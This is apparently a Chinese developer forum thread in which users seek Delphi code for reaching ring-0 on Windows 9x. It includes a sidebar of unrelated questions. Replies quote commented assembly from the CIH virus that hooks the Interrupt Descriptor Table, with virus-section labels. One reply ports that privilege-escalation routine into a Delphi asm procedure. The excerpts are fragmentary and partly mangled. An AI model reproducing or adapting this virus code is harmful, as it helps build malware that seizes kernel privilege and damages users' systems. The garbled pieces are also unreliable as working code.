NT下是做不到的。要修改IDT必须使用内嵌汇编。Delphi也是可以跨平台的语言,是不会提供与硬件结合这么紧的东西的。现在网上有CIH源代码,你可以参考一下。
解决方案 »
- 小弟刚开始学delphi,问个弱弱的问题,delphi2009如何新建windows forms application?....
- 怎样让播放的视频文件随着窗口缩放
- delphi4升级到delphi7的时候 halt语句错误问题
- delphi语法问题
- Dcom组件的权限设置如何编程实现?
- 有谁知道SReport的用法?up者有分!!!
- 哪位高手知道如何注册windows下的服务程序啊
- 一个简单问题,马上给分!!!!!!!!!急
- 如何规划设计系统【如何成为系分】?进者有分
- 有没有关于dilphi好的书请介绍几本了。
- 怎样使鼠标放在Label上时,字体变色?我是低手,请赐教.谢谢
- 一个“难者不会,会者不难”的问题
我就是参考了,却写不出代码!那位高手帮个忙!
用汇编,有的人介绍得头头是道,
可怎么在DELPHI 或C++BUILDER使用
就没响了,咳
《令win32应用程序跳入系统层》东南大学 卢威 [email protected]
是用vc++嵌汇编做的,
很接近了,可试试
若能给出源码,则感激不尽!!!
若能给出源码,则感激不尽!!!
呵呵,我是菜鸟!
DebugProc可以监视其他的HOOK。
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx // 连续压入8个字节作为缓冲区
push eax
push eax;// 取得idt偏移,共6字节,含段选择子2字节,偏移4字节。
sidt [esp-02h]; Get IDT Base Address// 弹出4字节偏移
pop ebx;
// 每个中断门8字节,所以偏移是HookExceptionNumber*08h
// 另外的4字节是定位到中心,因为中断门的4字节偏移分开放在8字节的0、1、6、7中。
// 0、1存放偏移低16位,6、7存放高16位。2,3是段选择子。4、5是门属性。
add ebx, HookExceptionNumber*08h+04h ; ZF = 0// 关中断,准备修改idt。
cli// 取得中断门的4、5、6、7字节,其中6、7字节在ebp高16位
mov ebp, [ebx] ; Get Exception Base// 取得中断门的0、1字节到bp(实际上是ebp的低16位)。
mov bp, [ebx-04h] ; Entry Point
// 这样就合成了完整的32位偏移。// 取得自己中断函数入口地址,放入esi中。
lea esi, MyExceptionHook-@1[ecx]// 压入堆栈
push esi// 填充入口低16位到中断门0、1字节。
mov [ebx-04h], si ;// 将高16位移动到低16位。
shr esi, 16 ; Modify Exception// 填充入口高16位到中断门6、7字节。
mov [ebx+02h], si ; Entry Point Address// idt修改完毕。// 调整堆栈
pop esi// 此时堆栈比初始状态多压8字节。估计是在引发的中断中处理。
// ebp的初始中断入口估计也是在自己的中断函数中用于恢复现场。// 后面的就是引发软中断,取得ring0权力。
// 不过说句老实话。CIH的创意是不错,不过CIH的汇编的水平其实很一般。int HookExceptionNumber ; GenerateExceptionint HookExceptionNumber ; GenerateExceptionReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Aga
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:// idt修改完毕,开中断。
sti
麻烦你贴出那篇文章好吗?
2 GoodHope:
呵呵,GoodHope老兄,麻烦你翻译成Delphi好吗?我写了,但是在Delphi中编译老是通不过!很多错误!
可能有点困难,一个头文件"vmm.h"没有,无法试,可跟作者lu wei联系.
我一直是用NT的。9x两年多没碰过了,机器上根本没装。有一套UNIX环境与80386的书对保护模式讲得很透彻,你可以参考一下。
lea esi, MyInt; 一句语法应该有逻辑错误,要在Debug中仔细看一下。procedure MyInt;
asm
// 这里面的内容可要你自己写哦。
end;const HookExceptionNumber = 3;procedure GetRing0;
asm
// 连续压入8个字节作为缓冲区
push eax
push eax;// 取得idt偏移,共6字节,含段选择子2字节,偏移4字节。
sidt [esp-02h]; // Get IDT Base Address// 弹出4字节偏移
pop ebx;// 每个中断门8字节,所以偏移是HookExceptionNumber*08h
// 另外的4字节是定位到中心,因为中断门的4字节偏移分开放在8字节的0、1、6、7中。
// 0、1存放偏移低16位,6、7存放高16位。2,3是段选择子。4、5是门属性。
add ebx, HookExceptionNumber*08h + 04h;// 关中断,准备修改idt。
cli// 取得中断门的4、5、6、7字节,其中6、7字节在ebp高16位
mov ebp, [ebx]; // Get Exception Base// 取得中断门的0、1字节到bp(实际上是ebp的低16位)。
mov bp, [ebx-04h]; // Entry Point
// 这样就合成了完整的32位偏移。// 取得自己中断函数入口地址,放入esi中。
lea esi, MyInt; // 压入堆栈
push esi// 填充入口低16位到中断门0、1字节。
mov [ebx-04h], si;// 将高16位移动到低16位。
shr esi, 16; // Modify Exception// 填充入口高16位到中断门6、7字节。
mov [ebx+02h], si; // Entry Point Address// idt修改完毕。// 调整堆栈
pop esi// 此时堆栈比初始状态多压8字节。估计是在引发的中断中处理。
// ebp的初始中断入口估计也是在自己的中断函数中用于恢复现场。// 后面的就是引发软中断,取得ring0权力。
// 不过说句老实话。CIH的创意是不错,不过CIH的汇编的水平其实很一般。int HookExceptionNumber; // GenerateException// ReadyRestoreSE:
stiend;
gookhope:130+5'
bcb:10+5'